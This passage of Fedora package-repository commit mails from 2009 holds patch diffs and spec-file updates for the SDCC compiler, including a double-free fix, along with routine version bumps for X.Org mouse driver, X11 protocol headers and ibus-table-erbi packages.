+	for ( n = 0; s[n]; ++n )
 		;
 
 	return n;
@@ -1568,19 +1599,7 @@
 
 #define YYTABLES_NAME "yytables"
 
-#undef YY_NEW_FILE
-#undef YY_FLUSH_BUFFER
-#undef yy_set_bol
-#undef yy_new_buffer
-#undef yy_set_interactive
-#undef yytext_ptr
-#undef YY_DO_BEFORE_ACTION
-
-#ifdef YY_DECL_IS_OURS
-#undef YY_DECL_IS_OURS
-#undef YY_DECL
-#endif
-#line 39 "cmdlex.l"
+#line 40 "../../../../sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l"
 
 
 
diff -ruP sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l sdcc_2.9.0_new/sim/ucsim/cmd.src/cmdlex.l
--- sdcc_2.9.0/sim/ucsim/cmd.src/cmdlex.l	2004-07-16 18:32:30.000000000 +0200
+++ sdcc_2.9.0_new/sim/ucsim/cmd.src/cmdlex.l	2009-05-03 09:48:14.354802912 +0200
@@ -1,4 +1,5 @@
 %{
+#include <stdio.h>
 #include "cmdlexcl.h"
 #include "cmdpars.h"
 
diff -ruP sdcc_2.9.0/src/pic16/glue.c sdcc_2.9.0_new/src/pic16/glue.c
--- sdcc_2.9.0/src/pic16/glue.c	2008-12-07 00:31:13.000000000 +0100
+++ sdcc_2.9.0_new/src/pic16/glue.c	2009-05-03 13:50:18.000000000 +0200
@@ -1399,9 +1399,9 @@
 
         for(i=0;i<=(pic16->cwInfo.confAddrEnd-pic16->cwInfo.confAddrStart);i++)
                 if(pic16->cwInfo.crInfo[i].emit)        //mask != -1)
-                        fprintf (of, "\t__config 0x%x, 0x%hhx\n",
+                        fprintf (of, "\t__config 0x%x, 0x%02x\n",
                                 pic16->cwInfo.confAddrStart+i,
-                                pic16->cwInfo.crInfo[i].value);
+                                (unsigned char) pic16->cwInfo.crInfo[i].value);
 }
 
 void pic16_emitIDRegs(FILE *of)
@@ -1410,9 +1410,9 @@
 
         for(i=0;i<=(pic16->idInfo.idAddrEnd-pic16->idInfo.idAddrStart);i++)
                 if(pic16->idInfo.irInfo[i].emit)
-                        fprintf (of, "\t__idlocs 0x%06x, 0x%hhx\n",
+                        fprintf (of, "\t__idlocs 0x%06x, 0x%02x\n",
                                 pic16->idInfo.idAddrStart+i,
-                                pic16->idInfo.irInfo[i].value);
+                                (unsigned char) pic16->idInfo.irInfo[i].value);
 }
 
 
diff -ruP sdcc_2.9.0/src/pic16/pcode.c sdcc_2.9.0_new/src/pic16/pcode.c
--- sdcc_2.9.0/src/pic16/pcode.c	2009-03-10 02:29:02.000000000 +0100
+++ sdcc_2.9.0_new/src/pic16/pcode.c	2009-05-03 13:50:18.000000000 +0200
@@ -3977,7 +3977,7 @@
 
   pcop->name = NULL;
   //if(lit>=0)
-    sprintf(s,"0x%02hhx", (unsigned char)lit);
+    sprintf(s,"0x%02x", (unsigned char) lit);
   //else
   //  sprintf(s, "%i", lit);
 
diff -ruP sdcc_2.9.0/src/SDCCsymt.c sdcc_2.9.0_new/src/SDCCsymt.c
--- sdcc_2.9.0/src/SDCCsymt.c	2008-11-15 15:13:47.000000000 +0100
+++ sdcc_2.9.0_new/src/SDCCsymt.c	2009-05-03 13:50:32.000000000 +0200
@@ -2324,7 +2324,7 @@
   srcScls = SPEC_SCLS (src);
 
   /* Compensate for const to const code change in checkSClass() */
-  if (!level & port->mem.code_ro && SPEC_CONST (dest))
+  if (((!level) & port->mem.code_ro) && SPEC_CONST (dest))
     {
       if (srcScls == S_CODE && destScls == S_FIXED)
         destScls = S_CODE;
diff -ruP sdcc_2.9.0/support/cpp/sdcpp-opts.c sdcc_2.9.0_new/support/cpp/sdcpp-opts.c
--- sdcc_2.9.0/support/cpp/sdcpp-opts.c	2008-03-31 20:10:22.000000000 +0200
+++ sdcc_2.9.0_new/support/cpp/sdcpp-opts.c	2009-05-03 13:57:25.445053848 +0200
@@ -564,7 +564,7 @@
 
   if (out_stream == NULL)
     {
-      fatal_error ("opening output file %s: %m", out_fname);
+      fatal_error ("opening output file %s: %s", out_fname, strerror(errno));
       return false;
     }
 
@@ -641,7 +641,7 @@
 	{
 	  deps_stream = fopen (deps_file, deps_append ? "a": "w");
 	  if (!deps_stream)
-	    fatal_error ("opening dependency file %s: %m", deps_file);
+            fatal_error ("opening dependency file %s: %s", deps_file, strerror(errno));
 	}
     }
 
@@ -651,10 +651,10 @@
 
   if (deps_stream && deps_stream != out_stream
       && (ferror (deps_stream) || fclose (deps_stream)))
-    fatal_error ("closing dependency file %s: %m", deps_file);
+    fatal_error ("closing dependency file %s: %s", deps_file, strerror(errno));
 
   if (out_stream && (ferror (out_stream) || fclose (out_stream)))
-    fatal_error ("when writing output to %s: %m", out_fname);
+    fatal_error ("when writing output to %s: %s", out_fname, strerror(errno));
 }
 
 /* Either of two environment variables can specify output of

sdcc-2.9.0-r5476-fix-doublefree.diff:
 lkar.c |    4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

--- NEW FILE sdcc-2.9.0-r5476-fix-doublefree.diff ---
--- trunk/sdcc/as/link/lkar.c	2009/07/18 08:25:57	5475
+++ trunk/sdcc/as/link/lkar.c	2009/07/18 09:11:36	5476
@@ -454,8 +454,6 @@
         {
           long moduleOffset = ftell (libfp);
 
-          free (obj_name);
-
           /* Opened OK - create a new libraryfile object for it */
           if (This == NULL)
             {
@@ -484,7 +482,7 @@
 
           add_rel_index (libfp, hdr.ar_size, This);
 
-          fseek (libfp, moduleOffset + hdr.ar_size + (hdr.ar_size & 1), SEEK_SET);
+          fseek (libfp, moduleOffset + hdr.ar_size + (hdr.ar_size & 1), SEEK_SET);;
         }
     }
 

sdcc-2.9.0-r5508-fix-bug2805333.diff:
 gen.c |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE sdcc-2.9.0-r5508-fix-bug2805333.diff ---
Index: sdcc/src/mcs51/gen.c
===================================================================
--- sdcc/src/mcs51/gen.c	(revision 5507)
+++ sdcc/src/mcs51/gen.c	(working copy)
@@ -1413,7 +1413,8 @@
         return aop->aopu.aop_reg[offset]->name;
 
     case AOP_CRY:
-      emitcode ("mov", "c,%s", aop->aopu.aop_dir);
+      if (!IS_OP_RUONLY (oper))
+        emitcode ("mov", "c,%s", aop->aopu.aop_dir);
       emitcode ("clr", "a");
       emitcode ("rlc", "a");
       return (dname ? "acc" : "a");
@@ -10052,7 +10053,7 @@
     ifxCond = genUnpackBits (result, rname, POINTER, ifx);
   else
     {
-      /* we have can just get the values */
+      /* we can just get the values */
       int size = AOP_SIZE (result);
       int offset = 0;
 
@@ -10060,7 +10061,6 @@
         {
           if (ifx || IS_AOP_PREG (result) || AOP_TYPE (result) == AOP_STK)
             {
-
               emitcode ("mov", "a,@%s", rname);
               if (!ifx)
                 aopPut (result, "a", offset);
@@ -10483,7 +10483,6 @@
      the pointer values */
   switch (p_type)
     {
-
     case POINTER:
     case IPOINTER:
       genNearPointerGet (left, result, ic, pi, ifx);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sdcc/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	12 Sep 2008 04:01:32 -0000	1.3
+++ .cvsignore	6 Oct 2009 06:46:28 -0000	1.4
@@ -1 +1 @@
-sdcc-src-2.8.0.tar.bz2
+sdcc-src-2.9.0.tar.bz2


Index: sdcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdcc/F-10/sdcc.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sdcc.spec	14 Nov 2008 21:20:18 -0000	1.9
+++ sdcc.spec	6 Oct 2009 06:46:28 -0000	1.10
@@ -1,22 +1,25 @@
 Name:           sdcc
-Version:        2.8.0
-Release:        3%{?dist}
+Version:        2.9.0
+Release:        5%{?dist}
 Summary:        Small Device C Compiler
 Group:          Applications/Engineering
 License:        GPLv2+
 URL:            http://sdcc.sourceforge.net/
-Source0:        http://downloads.sourceforge.net/%{name}/%{name}-src-%{version}.tar.bz2
+Source0:        http://downloads.sourceforge.net/sdcc/sdcc-src-%{version}.tar.bz2
 Source1:        README.fedora
-Patch0:         sdcc-2.8.0-configure.diff
-Patch1:		sdcc-2.8.0-debugger-makefile.diff
-Patch2:		sdcc-2.8.0-doc-lyx.diff
+Patch0:         sdcc-2.9.0-patch-out-getline.diff
+Patch1:         sdcc-2.9.0-configure.diff
+Patch2:         sdcc-2.9.0-r5476-fix-doublefree.diff
+Patch3:         sdcc-2.9.0-r5508-fix-bug2805333.diff
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  flex
+BuildRequires:  autoconf
 BuildRequires:  bison
+BuildRequires:  flex
+BuildRequires:  gc-devel
+BuilDrequires:  gputils
 BuildRequires:  lyx
 BuildRequires:  latex2html
-BuildRequires:  gc-devel
 
 
 %description
@@ -52,12 +55,38 @@ Emacs extensions for SDCC.
 %prep
 %setup -q -n sdcc
 %patch0 -p1
-%patch1 -p0
-%patch2 -p1
+%patch1 -p1
+%patch2 -p2
+%patch3 -p1
 find -name '*.[ch]' -exec chmod -x '{}' \;
 
+# Extract %%__os_install_post into os_install_post~
+cat << \EOF > os_install_post~
+%__os_install_post
+EOF
+
+# Generate customized brp-*scripts
+cat os_install_post~ | while read a x y; do
+case $a in
+# Prevent brp-strip* from trying to handle foreign binaries
+*/brp-strip*)
+  b=$(basename $a)
+  sed -e 's,find $RPM_BUILD_ROOT,find $RPM_BUILD_ROOT%_bindir $RPM_BUILD_ROOT%_libexecdir,' $a > $b
+  chmod a+x $b
+  ;;
+esac
+done
+
+sed -e 's,^[ ]*/usr/lib/rpm.*/brp-strip,./brp-strip,' \
+< os_install_post~ > os_install_post 
+
 
 %build
+# Rebuild configure scripts (patched configure.in s in patch0).
+autoconf
+cd debugger/mcs51 ; autoconf ; cd ../..
+cd sim/ucsim ; autoconf ; cd ../..
+
 %configure --enable-doc --enable-libgc STRIP=:
 make Q=
 
@@ -83,6 +112,10 @@ chmod 755 %{name}-$(basename $x)
 done
 popd
 
+pushd $RPM_BUILD_ROOT%{_datadir}/%{name}/lib/src/pic16
+find . -type f -name '*.a' -exec chmod 664 '{}' \;
+popd
+
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -95,13 +128,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/%{name}
 %{_datadir}/%{name}
 %exclude %{_datadir}/%{name}/lib/src
-%exclude %{_datadir}/%{name}/lib/*/*.asm
 
 
 %files libc-sources
 %defattr(-,root,root,-)
 %{_datadir}/%{name}/lib/src
-%{_datadir}/%{name}/lib/*/*.asm
 
 
 %files -n emacs-sdcc
@@ -110,6 +141,29 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Sep 11 2009 Conrad Meyer <konrad at tylerc.org> - 2.9.0-5
+- Fix a bug with single-bit types, logical NOT, and casting to char
+  (I'm fuzzy on the details) that was reported by a Fedora user with the
+  r5508 patch from upstream.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.9.0-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Jul 20 2009 Conrad Meyer <konrad at tylerc.org> - 2.9.0-3
+- Fix double-free (rhbz# 509278) with patch from upstream.
+
+* Wed Jul 1 2009 Conrad Meyer <konrad at tylerc.org> - 2.9.0-2
+- Fix #454205 by BR'ing gputils and re-adding install_post hack.
+
+* Thu Apr 30 2009 Conrad Meyer <konrad at tylerc.org> - 2.9.0-1
+- Bump to 2.9.0.
+
+* Thu Feb 26 2009 Conrad Meyer <konrad at tylerc.org> - 2.8.0-5
+- Make subpackages noarch.
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.0-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Thu Nov 13 2008 Conrad Meyer <konrad at tylerc.org> - 2.8.0-3
 - Separate out emacs-sdcc subpackage.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sdcc/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	12 Sep 2008 04:01:32 -0000	1.3
+++ sources	6 Oct 2009 06:46:28 -0000	1.4
@@ -1 +1 @@
-1b9c2e581b92d5e3f13bca37c5784080  sdcc-src-2.8.0.tar.bz2
+a6151ed328fd3bc48305ffbc628dc122  sdcc-src-2.9.0.tar.bz2



From whot at fedoraproject.org  Tue Oct  6 06:55:21 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Tue,  6 Oct 2009 06:55:21 +0000 (UTC)
Subject: rpms/xorg-x11-drv-mouse/devel .cvsignore, 1.17, 1.18 sources, 1.17, 
	1.18 xorg-x11-drv-mouse.spec, 1.35, 1.36
Message-ID: <20091006065522.0D0B411C00C1@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-mouse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14865

Modified Files:
	.cvsignore sources xorg-x11-drv-mouse.spec 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.5.0-1
- mouse 1.5.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-mouse/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	9 Sep 2009 02:09:59 -0000	1.17
+++ .cvsignore	6 Oct 2009 06:55:21 -0000	1.18
@@ -1 +1 @@
-xf86-input-mouse-1.4.99.1.tar.bz2
+xf86-input-mouse-1.5.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-mouse/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	9 Sep 2009 02:10:00 -0000	1.17
+++ sources	6 Oct 2009 06:55:21 -0000	1.18
@@ -1 +1 @@
-092c125d0d45a98f8450aefaffd5c10f  xf86-input-mouse-1.4.99.1.tar.bz2
+c58629fddf0782dad5c02da6aeb35521  xf86-input-mouse-1.5.0.tar.bz2


Index: xorg-x11-drv-mouse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-mouse/devel/xorg-x11-drv-mouse.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- xorg-x11-drv-mouse.spec	9 Sep 2009 21:58:59 -0000	1.35
+++ xorg-x11-drv-mouse.spec	6 Oct 2009 06:55:21 -0000	1.36
@@ -6,8 +6,8 @@
 
 Summary:   Xorg X11 mouse input driver
 Name:      xorg-x11-drv-mouse
-Version:   1.4.99.1
-Release:   2%{?dist}
+Version:   1.5.0
+Release:   1%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/mousedrv.4*
 
 %changelog
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.5.0-1
+- mouse 1.5.0
+
 * Thu Sep 10 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.4.99.1-2
 - Fix spec file, Release was busted.
 



From whot at fedoraproject.org  Tue Oct  6 06:58:42 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Tue,  6 Oct 2009 06:58:42 +0000 (UTC)
Subject: rpms/xorg-x11-proto-devel/devel .cvsignore, 1.60, 1.61 sources, 1.59,
	1.60 xorg-x11-proto-devel.spec, 1.109, 1.110
Message-ID: <20091006065842.BCAA211C00C1@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-proto-devel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15555

Modified Files:
	.cvsignore sources xorg-x11-proto-devel.spec 
Log Message:
* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-32
- compositeproto 0.4.1
- xf86dgaproto 2.1
- dmxproto 2.3
- inputproto 2.0
- fixesproto 4.1.1
- randrproto 1.3.1
- recordproto 1.14
- xf86vidmodeproto 2.3
- xineramaproto 1.2
- xproto 7.0.16



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/.cvsignore,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- .cvsignore	28 Aug 2009 03:01:07 -0000	1.60
+++ .cvsignore	6 Oct 2009 06:58:42 -0000	1.61
@@ -1,13 +1,13 @@
 bigreqsproto-1.1.0.tar.bz2
-compositeproto-0.4.tar.bz2
+compositeproto-0.4.1.tar.bz2
 damageproto-1.2.0.tar.bz2
-dmxproto-2.2.99.1.tar.bz2
+dmxproto-2.3.tar.bz2
 evieext-1.1.0.tar.bz2
-fixesproto-4.1.tar.bz2
+fixesproto-4.1.1.tar.bz2
 fontsproto-2.1.0.tar.bz2
 glproto-1.4.9.tar.bz2
 kbproto-1.0.3.tar.bz2
-recordproto-1.13.99.1.tar.bz2
+recordproto-1.14.tar.bz2
 renderproto-0.11.tar.bz2
 resourceproto-1.1.0.tar.bz2
 scrnsaverproto-1.2.0.tar.bz2
@@ -18,11 +18,11 @@ xf86bigfontproto-1.2.0.tar.bz2
 xf86dgaproto-2.0.99.1.tar.bz2
 xf86driproto-2.1.0.tar.bz2
 xf86miscproto-0.9.2.tar.bz2
-xf86vidmodeproto-2.2.99.1.tar.bz2
-xineramaproto-1.1.99.1.tar.bz2
-xproto-7.0.15.tar.bz2
+xf86vidmodeproto-2.3.tar.bz2
+xineramaproto-1.2.tar.bz2
+xproto-7.0.16.tar.bz2
 xproxymanagementprotocol-1.0.2.tar.bz2
-randrproto-1.3.0.tar.bz2
+randrproto-1.3.1.tar.bz2
 glproto-1.4.10.tar.bz2
 dri2proto-2.1.tar.bz2
-inputproto-1.9.99.902.tar.bz2
+inputproto-2.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/sources,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- sources	28 Aug 2009 03:01:07 -0000	1.59
+++ sources	6 Oct 2009 06:58:42 -0000	1.60
@@ -1,11 +1,11 @@
 d30c5dbf19ca6dffcd9788227ecff8c5  bigreqsproto-1.1.0.tar.bz2
-6281344d656d4e0c8e9db4918efe3d1d  compositeproto-0.4.tar.bz2
+3692f3f8b2ea10dff3d2cede8dc65e79  compositeproto-0.4.1.tar.bz2
 434b931b02bd83ed9fc44951df81cdac  damageproto-1.2.0.tar.bz2
-7bd9ccde42f022725c0086bd93d269f3  dmxproto-2.2.99.1.tar.bz2
+880a41720b2937e2660dcdc0d34a8791  dmxproto-2.3.tar.bz2
 5c74f61d6f77b2e6a083b2b31000be42  evieext-1.1.0.tar.bz2
 f3a857deadca3144fba041af1dbf7603  fontsproto-2.1.0.tar.bz2
 6092cdb0a1225f95356ddbe6c2abaad5  kbproto-1.0.3.tar.bz2
-1ab825ee2dbf32dd4a09cfca89d0fad7  recordproto-1.13.99.1.tar.bz2
+70f5998c673aa510e2acd6d8fb3799de  recordproto-1.14.tar.bz2
 b160a9733fe91b666e74fca284333148  renderproto-0.11.tar.bz2
 84795594b3ebd2ee2570cf93340d152c  resourceproto-1.1.0.tar.bz2
 9040c991a56ee9b5976936f8c65d5c8a  scrnsaverproto-1.2.0.tar.bz2
@@ -15,13 +15,13 @@ fb762146a18207a1e8bc9f299dfc7ac0  videop
 a0135bcc07009475a9db5aee362566fc  xf86dgaproto-2.0.99.1.tar.bz2
 309d552732666c3333d7dc63e80d042f  xf86driproto-2.1.0.tar.bz2
 acae8edeb05a406f7f60bcbb218a8f1d  xf86miscproto-0.9.2.tar.bz2
-128a61f6e275cb76566e4ce477631938  xf86vidmodeproto-2.2.99.1.tar.bz2
-ae9dde9a3a81880cb718b36d32198fcd  xineramaproto-1.1.99.1.tar.bz2
-1a2b31430d04340be2e49e8b6445e076  xproto-7.0.15.tar.bz2
+4434894fc7d4eeb4a22e6b876d56fdaa  xf86vidmodeproto-2.3.tar.bz2
+a8aadcb281b9c11a91303e24cdea45f5  xineramaproto-1.2.tar.bz2
+75c9edff1f3823e5ab6bb9e66821a901  xproto-7.0.16.tar.bz2
 d28007a50976204960fc1fc07b4ca093  xproxymanagementprotocol-1.0.2.tar.bz2
 c9f8cebfba72bfab674bc0170551fb8d  glproto-1.4.10.tar.bz2
 5cb7987d29db068153bdc8f23c767c43  dri2proto-2.1.tar.bz2
-1937db6f8881409a1fc8b45bcc01f4ad  inputproto-1.9.99.902.tar.bz2
-a49416013fff33c853efb32f1926551e  randrproto-1.3.0.tar.bz2
+0f7acbc14a082f9ae03744396527d23d  inputproto-2.0.tar.bz2
+a5c244c36382b0de39b2828cea4b651d  randrproto-1.3.1.tar.bz2
 fb6ccaae76db7a35e49b12aea60ca6ff  xextproto-7.1.1.tar.bz2
-157644edb3cd526f2cb164eb79c52bad  fixesproto-4.1.tar.bz2
+4c1cb4f2ed9f34de59f2f04783ca9483  fixesproto-4.1.1.tar.bz2


Index: xorg-x11-proto-devel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/devel/xorg-x11-proto-devel.spec,v
retrieving revision 1.109
retrieving revision 1.110
diff -u -p -r1.109 -r1.110
--- xorg-x11-proto-devel.spec	28 Aug 2009 03:01:07 -0000	1.109
+++ xorg-x11-proto-devel.spec	6 Oct 2009 06:58:42 -0000	1.110
@@ -7,7 +7,7 @@
 Summary: X.Org X11 Protocol headers
 Name: xorg-x11-proto-devel
 Version: 7.4
-Release: 31%{?dist}
+Release: 32%{?dist}
 License: MIT
 Group: Development/System
 URL: http://www.x.org
@@ -15,18 +15,18 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 BuildArch: noarch
 
 Source0:  http://www.x.org/pub/individual/proto/bigreqsproto-1.1.0.tar.bz2
-Source1:  http://www.x.org/pub/individual/proto/compositeproto-0.4.tar.bz2
+Source1:  http://www.x.org/pub/individual/proto/compositeproto-0.4.1.tar.bz2
 Source2:  http://www.x.org/pub/individual/proto/damageproto-1.2.0.tar.bz2
-Source3:  http://www.x.org/pub/individual/proto/dmxproto-2.2.99.1.tar.bz2
+Source3:  http://www.x.org/pub/individual/proto/dmxproto-2.3.tar.bz2
 Source31: http://www.x.org/pub/individual/proto/dri2proto-2.1.tar.bz2
 Source4:  http://www.x.org/pub/individual/proto/evieext-1.1.0.tar.bz2
-Source5:  http://www.x.org/pub/individual/proto/fixesproto-4.1.tar.bz2
+Source5:  http://www.x.org/pub/individual/proto/fixesproto-4.1.1.tar.bz2
 Source7:  http://www.x.org/pub/individual/proto/fontsproto-2.1.0.tar.bz2
 Source8:  http://www.x.org/pub/individual/proto/glproto-1.4.10.tar.bz2
-Source9:  http://www.x.org/pub/individual/proto/inputproto-1.9.99.902.tar.bz2
+Source9:  http://www.x.org/pub/individual/proto/inputproto-2.0.tar.bz2
 Source10: http://www.x.org/pub/individual/proto/kbproto-1.0.3.tar.bz2
-Source13: http://www.x.org/pub/individual/proto/randrproto-1.3.0.tar.bz2
-Source14: http://www.x.org/pub/individual/proto/recordproto-1.13.99.1.tar.bz2
+Source13: http://www.x.org/pub/individual/proto/randrproto-1.3.1.tar.bz2
+Source14: http://www.x.org/pub/individual/proto/recordproto-1.14.tar.bz2
 Source15: http://www.x.org/pub/individual/proto/renderproto-0.11.tar.bz2
 Source16: http://www.x.org/pub/individual/proto/resourceproto-1.1.0.tar.bz2
 Source17: http://www.x.org/pub/individual/proto/scrnsaverproto-1.2.0.tar.bz2
@@ -34,12 +34,12 @@ Source19: http://www.x.org/pub/individua
 Source20: http://www.x.org/pub/individual/proto/xcmiscproto-1.2.0.tar.bz2
 Source21: http://www.x.org/pub/individual/proto/xextproto-7.1.1.tar.bz2
 Source22: http://www.x.org/pub/individual/proto/xf86bigfontproto-1.2.0.tar.bz2
-Source23: http://www.x.org/pub/individual/proto/xf86dgaproto-2.0.99.1.tar.bz2
+Source23: http://www.x.org/pub/individual/proto/xf86dgaproto-2.1.tar.bz2
 Source24: http://www.x.org/pub/individual/proto/xf86driproto-2.1.0.tar.bz2
 Source25: http://www.x.org/pub/individual/proto/xf86miscproto-0.9.2.tar.bz2
-Source27: http://www.x.org/pub/individual/proto/xf86vidmodeproto-2.2.99.1.tar.bz2
-Source28: http://www.x.org/pub/individual/proto/xineramaproto-1.1.99.1.tar.bz2
-Source29: http://www.x.org/pub/individual/proto/xproto-7.0.15.tar.bz2
+Source27: http://www.x.org/pub/individual/proto/xf86vidmodeproto-2.3.tar.bz2
+Source28: http://www.x.org/pub/individual/proto/xineramaproto-1.2.tar.bz2
+Source29: http://www.x.org/pub/individual/proto/xproto-7.0.16.tar.bz2
 Source30: http://www.x.org/pub/individual/proto/xproxymanagementprotocol-1.0.2.tar.bz2
 
 Patch1: dri2-page-flip.patch
@@ -53,6 +53,8 @@ Requires: libXau-devel
 %endif
 Requires: pkgconfig
 
+Conflicts: libXxf86dga-devel < 1.1
+
 %description
 X.Org X11 Protocol headers
 
@@ -209,6 +211,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/xf86bigfont.h
 %{_includedir}/X11/extensions/xf86bigfproto.h
 %{_includedir}/X11/extensions/xf86bigfstr.h
+%{_includedir}/X11/extensions/xf86dga.h
 %{_includedir}/X11/extensions/xf86dga1const.h
 %{_includedir}/X11/extensions/xf86dga1proto.h
 %{_includedir}/X11/extensions/xf86dga1str.h
@@ -264,6 +267,18 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pkgconfig/xproxymngproto.pc
 
 %changelog
+* Tue Oct 06 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-32
+- compositeproto 0.4.1
+- xf86dgaproto 2.1
+- dmxproto 2.3
+- inputproto 2.0
+- fixesproto 4.1.1
+- randrproto 1.3.1
+- recordproto 1.14
+- xf86vidmodeproto 2.3
+- xineramaproto 1.2
+- xproto 7.0.16
+
 * Fri Aug 28 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-31
 - bigreqsproto 1.1.0
 - damageproto 1.2.0



From cchance at fedoraproject.org  Tue Oct  6 07:00:23 2009
From: cchance at fedoraproject.org (cchance)
Date: Tue,  6 Oct 2009 07:00:23 +0000 (UTC)
Subject: rpms/ibus-table-erbi/F-11 .cvsignore, 1.2, 1.3 ibus-table-erbi.spec,
	1.6, 1.7 sources, 1.2, 1.3
Message-ID: <20091006070023.2FAB211C0298@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table-erbi/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16433

Modified Files:
	.cvsignore ibus-table-erbi.spec sources 
Log Message:
* Tue Oct 06 2009 Caius kaio Chance <k AT kaio.me> - 1.2.0.20090901-1.fc11
- Rebuilt with IBus 1.2.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-erbi/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	7 Apr 2009 07:18:48 -0000	1.2
+++ .cvsignore	6 Oct 2009 07:00:21 -0000	1.3
@@ -1 +1 @@
-ibus-table-erbi-1.1.0.20090407.tar.gz
+ibus-table-erbi-1.2.0.20090901.tar.gz


Index: ibus-table-erbi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-erbi/F-11/ibus-table-erbi.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- ibus-table-erbi.spec	3 Jul 2009 06:42:44 -0000	1.6
+++ ibus-table-erbi.spec	6 Oct 2009 07:00:22 -0000	1.7
@@ -1,28 +1,26 @@
 Name:       ibus-table-erbi
-Version:    1.1.0.20090407
-Release:    6%{?dist}
-Summary:    Erbi input methods for ibus-table
+Version:    1.2.0.20090901
+Release:    1%{?dist}
+Summary:    Erbi table(s) for IBus-Table
 License:    GPLv2+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
 Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
 
+Requires:         ibus-table >= 1.2
+BuildRequires:    ibus-table >= 1.2, gettext-devel >= 0.17, automake >= 1.10.1
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:  noarch
 
-BuildRequires:    ibus-table >= 1.1.0.20090220-5 
-BuildRequires:    gettext-devel >= 0.17, automake >= 1.10.1
-Requires(post):   ibus-table > 1.1.0
-
 %description
-The package contains Erbi input methods for Table engine of IBus platform. 
+The package contains Erbi table(s) for IBus-Table. 
 
 %prep
 %setup -q
 
 %build
 export IBUS_TABLE_CREATEDB="%{_bindir}/ibus-table-createdb --no-create-index"
-./autogen.sh --prefix=%{_prefix}
+%configure --prefix=%{_prefix}
 %__make %{?_smp_mflags}
 
 %install
@@ -46,6 +44,9 @@ cd %{_datadir}/ibus-table/tables/
 %{_datadir}/ibus-table/icons/erbi-qs.svg
 
 %changelog
+* Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090901-1.fc11
+- Rebuilt with IBus 1.2.
+
 * Fri Jul 03 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.1.0.20090407-6.fc11
 - Changed commands into macros.
 - Fixed index creation with correct work directory.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-erbi/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
